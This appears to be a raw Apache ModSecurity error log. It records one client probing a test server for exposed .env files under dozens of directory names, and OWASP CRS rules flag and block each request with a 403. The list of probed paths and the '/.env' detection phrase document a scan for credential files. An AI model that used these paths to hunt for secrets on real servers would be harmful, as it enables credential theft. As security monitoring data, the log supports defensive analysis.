[Mon Jul 28 20:46:12.590424 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MphQAAAAY&quot;]
[Mon Jul 28 20:46:12.612341 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lambda/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lambda/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MphgAAAAY&quot;]
[Mon Jul 28 20:46:12.612557 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lambda/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MphgAAAAY&quot;]
[Mon Jul 28 20:46:12.612747 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lambda/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MphgAAAAY&quot;]
[Mon Jul 28 20:46:12.634621 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /latest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/latest/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MphwAAAAY&quot;]
[Mon Jul 28 20:46:12.634828 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/latest/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MphwAAAAY&quot;]
[Mon Jul 28 20:46:12.634997 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/latest/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MphwAAAAY&quot;]
[Mon Jul 28 20:46:12.656739 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /layout/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/layout/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpiAAAAAY&quot;]
[Mon Jul 28 20:46:12.656927 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/layout/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpiAAAAAY&quot;]
[Mon Jul 28 20:46:12.657098 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/layout/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpiAAAAAY&quot;]
[Mon Jul 28 20:46:12.679020 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lcomernbootcamp/projbackend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpiQAAAAY&quot;]
[Mon Jul 28 20:46:12.679253 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpiQAAAAY&quot;]
[Mon Jul 28 20:46:12.679430 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpiQAAAAY&quot;]
[Mon Jul 28 20:46:12.701278 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /leafer-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/leafer-app/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpigAAAAY&quot;]
[Mon Jul 28 20:46:12.701482 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/leafer-app/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpigAAAAY&quot;]
[Mon Jul 28 20:46:12.701658 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/leafer-app/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpigAAAAY&quot;]
[Mon Jul 28 20:46:12.723544 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ledger_sync/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ledger_sync/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpiwAAAAY&quot;]
[Mon Jul 28 20:46:12.723786 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ledger_sync/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpiwAAAAY&quot;]
[Mon Jul 28 20:46:12.723978 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ledger_sync/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpiwAAAAY&quot;]
[Mon Jul 28 20:46:12.804910 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /legal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/legal/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpjgAAAAY&quot;]
[Mon Jul 28 20:46:12.805128 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/legal/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpjgAAAAY&quot;]
[Mon Jul 28 20:46:12.805303 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/legal/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpjgAAAAY&quot;]
[Mon Jul 28 20:46:12.827395 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lemonldap-ng-doc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-doc/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpjwAAAAY&quot;]
[Mon Jul 28 20:46:12.827631 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-doc/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpjwAAAAY&quot;]
[Mon Jul 28 20:46:12.827817 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-doc/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpjwAAAAY&quot;]
[Mon Jul 28 20:46:12.849904 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lemonldap-ng-fr-doc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-fr-doc/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpkAAAAAY&quot;]
[Mon Jul 28 20:46:12.850124 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-fr-doc/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpkAAAAAY&quot;]
[Mon Jul 28 20:46:12.850298 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-fr-doc/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpkAAAAAY&quot;]
[Mon Jul 28 20:46:12.872281 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /letsencrypt/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/letsencrypt/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpkQAAAAY&quot;]
[Mon Jul 28 20:46:12.872508 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/letsencrypt/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpkQAAAAY&quot;]
[Mon Jul 28 20:46:12.872677 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/letsencrypt/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpkQAAAAY&quot;]
[Mon Jul 28 20:46:12.894665 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpkgAAAAY&quot;]
[Mon Jul 28 20:46:12.894858 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpkgAAAAY&quot;]
